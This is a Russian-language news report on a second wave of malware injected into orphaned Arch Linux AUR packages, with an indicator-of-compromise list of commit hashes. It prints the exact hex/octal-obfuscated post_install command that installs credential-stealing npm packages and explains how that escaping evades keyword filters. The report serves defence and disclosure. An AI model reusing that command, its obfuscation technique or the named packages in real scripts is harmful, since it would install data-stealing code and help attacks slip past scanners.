Несмотря на экстренные меры, которые команда Arch Linux приняла после позавчерашнего инцидента, атаки на пользовательский репозиторий Arch AUR не прекратились. Злоумышленники нашли новый способ обхода фильтров и снова подставили вредоносный код в пакеты, оставшиеся без сопровождающих. На этот раз под удар попали 54 пакета, а техника доставки вредоносной нагрузки стала изощрённее.
Описание
Позавчерашняя атака привлекла внимание всего сообщества Linux. Тогда злоумышленники внедрили в несколько десятков бесхозных пакетов код, который через пакетный менеджер npm скачивал и запускал вредоносные зависимости. Разработчики Arch оперативно откатили изменения, заблокировали учётные записи и ввели временные ограничения на создание новых аккаунтов и обновление пакетов. Казалось, угроза локализована. Но прошло всего несколько часов, и атакующие вернулись с новой тактикой.
Новая волна атак отличается от предыдущей как по инструментарию, так и по способу маскировки. Вместо npm теперь используется bun - более современный и быстрый менеджер пакетов для JavaScript, который также может устанавливать зависимости. Команда "bun add" вставляется прямо в скрипт post_install, который выполняется при установке пакета. Однако главное новшество - обфускация строки вызова. Разработчики Arch ввели фильтры на поиск подозрительных ключевых слов, например "bun" или "npm", в теле PKGBUILD и скриптов установки. В ответ злоумышленники начали разбивать команду на отдельные символы, используя подстановки в шестнадцатеричном и восьмеричном форматах. В результате строка "bun add ansi-colors nextfile-js" превращается в конструкцию вида:
| 1 | $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' 'n'"e"'x'"t""f"'i''l''e''-''j''s' |
Такая запись обходит простой поиск по целым словам. Скрипт по-прежнему выполняет переход в каталог "/tmp", а затем запускает "bun add" для двух пакетов: "ansi-colors" и "nextfile-js". Именно эти зависимости несут вредоносную полезную нагрузку. После установки они начинают сканировать файловую систему жертвы, извлекать ключи, токены доступа и учётные данные, после чего отправляют собранную информацию на внешний сервер злоумышленников. Кража учётных данных от облачных сервисов, систем непрерывной интеграции и репозиториев кода ставит под удар не только отдельного пользователя, но и всю инфраструктуру компании, если жертва является разработчиком.
Список поражённых пакетов включает в себя множество проектов на JavaScript и Node.js, а также несколько браузеров и утилит. Среди них "nodejs-browser-sync", "nodejs-nodemailer", "nodejs-ws", "librewolf-extension-vimiumc-bin", "plasma6-applets-fancytasks", "hack-browser-data-git" и десятки других. Все они не имели активного сопровождающего, поэтому злоумышленники могли легко перехватить контроль над ними через процедуру усыновления. Архитектура AUR предполагает, что любой желающий может стать мейнтейнером бесхозного пакета, и это делает репозиторий уязвимым для подобных атак.
Команда Arch Linux реагирует оперативно. Разработчики в своём обращении сообщили, что активно восстанавливают репозиторий, удаляя вредоносные коммиты и блокируя аккаунты. Они также ввели временные ограничения: создание новых учётных записей, обновление пакетов и усыновление бесхозных проектов могут быть затруднены или приостановлены. Администрация рекомендует всем пользователям AUR тщательно проверять изменения в PKGBUILD и скриптах установки перед каждым обновлением, особенно в текущей нестабильной ситуации. При обнаружении подозрительных коммитов просят сообщать о них в список рассылки aur-general.
Параллельно с этой атакой была зафиксирована ещё одна, менее опасная, но показательная. Злоумышленник или группа лиц внедрила в PKGBUILD одного из пакетов (а именно "weeplugins-git") команду, которая добавляет в системные файлы конфигурации оболочек bash, zsh и fish, а также в "/etc/profile.d/albanianvirus2.sh", строку с нецензурными оскорблениями. Текст содержал грубые выражения в адрес пользователей, использующих AUR, и рекомендацию сменить дистрибутив. Сообщение также упоминало сторонние ресурсы и рекламировало так называемый "новый албанский вирус из России". Несмотря на явный вандализм, эта атака не несла прямой угрозы кражи данных, однако она деградирует доверие к репозиторию и создаёт дискомфорт у пользователей, которые после установки такого пакета увидят оскорбления в каждом новом терминале.
Волонтёры сообщества, в том числе Николя Буаша, который использует собственную модель обнаружения аномалий на основе Gemma, оперативно выявили обе волны и передали информацию администрации. Он отмечает, что новые атаки стали более изощрёнными: злоумышленники используют обфускацию не только для команд, но и для имён пакетов, создавая дополнительные сложности для автоматических сканеров.
Текущая ситуация показывает, что проблема безопасности AUR не решается простыми фильтрами и блокировками. Злоумышленники адаптируются слишком быстро, а открытая модель усыновления пакетов остаётся главным вектором атак. Пользователям Arch Linux, особенно тем, кто активно использует AUR, стоит на время отказаться от автоматических обновлений из этого репозитория или хотя бы проверять каждое изменение вручную. Разработчикам же необходимо в долгосрочной перспективе пересмотреть механизм аутентификации и контроля целостности пакетов - подпись коммитов, обязательное рецензирование для бесхозных пакетов, возможно, введение обязательной двухфакторной аутентификации для аккаунтов мейнтейнеров. Пока же единственной надёжной защитой остаётся бдительность каждого конкретного пользователя перед тем, как выполнить "yay -Syu".
Индикаторы компрометации
Malicious packages
- 015d37ebcdf4 (gjs-git) sync
- 02262d4c0ca9 (just-js) updpkgsums
- 065f7bbc0b4c (algorand-devtools-bin) Fix source
- 17870c40e170 (certbox-bin) Fix source
- 18e160e4af66 (openlayers) upgpkg
- 191ddf65e033 (hack-browser-data-git) Add missing deps
- 1e52b3bc3e06 Fix build
- 2b0281471e67 (nodejs-pkg) Fix source
- 2f45cba74d0e (nodejs-qunit) upgpkg (nodejs-qunit)
- 370d6ff5f5df (felida-bin) Fix deps
- 3cbb060789e8 (concordium-desktop-wallet-testnet-bin) Fix build
- 3d477e3acbdc (cl-javascript) upgpkg
- 50e70f41e533 (nitrogen-git) Fix install (nitrogen-git)
- 51f1f31c00fc (nem-wallet) Bump pkgrel
- 520509753f52 (nodejs-browser-sync) Fix deps (nodejs-browser-sync)
- 525431fabeea (btdex-git) updpkgsums (btdex-git)
- 5ae118ed955e (edfbrowser-git) add deps
- 5b92cb26426c (kmorph) Update dependencies (kmorph)
- 5efa44bdde97 (kibana6) Fix build
- 5f88b6813f74 (cl-parenscript) Fix install (cl-parenscript)
- 656ebbc409a9 (catalyst5-browser) Update source
- 71061a13a17d (iceweasel) Fix build
- 77e940aca52d (npm-accel) add deps (npm-accel)
- 7c3118898b73 (hudkit-wayland) Fix build (hudkit-wayland)
- 81136bdeb450 (fontfinder) sync
- 855e58cf9dff (atto-bin) upgpkg
- 8b08ce7e00be (librewolf-extension-vimiumc-bin) Fix install
- 8c8777cb6efd (nodejs-jscs) add deps
- 8ecc4763ae6e (nodejs-json-to-js) Fix build (nodejs-json-to-js)
- 9441cefa807b (chia-git) Fix install
- 97423ad53ffc (nodejs-jsfmt) sync
- 9f78f86d315b (nodejs-vim-debugger) updpkgsums
- a5770512c0a0 (privacy-redirect-git) add deps
- a82d32cd30a0 (claymore-miner-bin) rebuild
- a939ae0b94fa (nodejs-ws) Fix deps
- ac14770e3b30 (deno-git) Bump pkgrel
- ad43b9d36fb0 (playhouse-git) rebuild
- ae9efc2316e2 (nodejs-sweet) Fix build
- af09b1cf1b59 (python-django-js-asset) Update dependencies (python-django-js-asset)
- b0620ca63777 (neovim-telescope-file-browser-git) add deps
- b3cc85a2a3e3 (aura-browser) Update dependencies
- bb5741e96690 (beaker-browser-git) Update PKGBUILD (beaker-browser-git)
- cce5fff63f88 (firefox-floccus) sync (firefox-floccus)
- d8ec8d1b1667 (nodejs-nodemailer) Fix build (nodejs-nodemailer)
- dd99ef59434f (librewolf-extension-protonpass-bin) updpkgsums
- dee42adb1d4a (plasma6-applets-fancytasks) updpkgsums (plasma6-applets-fancytasks)
- def9a9c26f6d (nodejs-dicy-cli) Update source
- e08dd6e54f27 (cl-parse-js) Fix source
- ebf8ba97fc88 (amfora-favicons-git) updpkg (amfora-favicons-git)
- f9b91f5436dc (ctjs-bin) sync
- fc1686472116 (puppy-browser) Add missing deps (puppy-browser)
- fd7c2046c370 (nanocurrency) Update PKGBUILD
- fe04bb990a35 (firefox-esr-noscript) rebuild
- ff8e6c657a41 (kcmlaptop) Update source (kcmlaptop)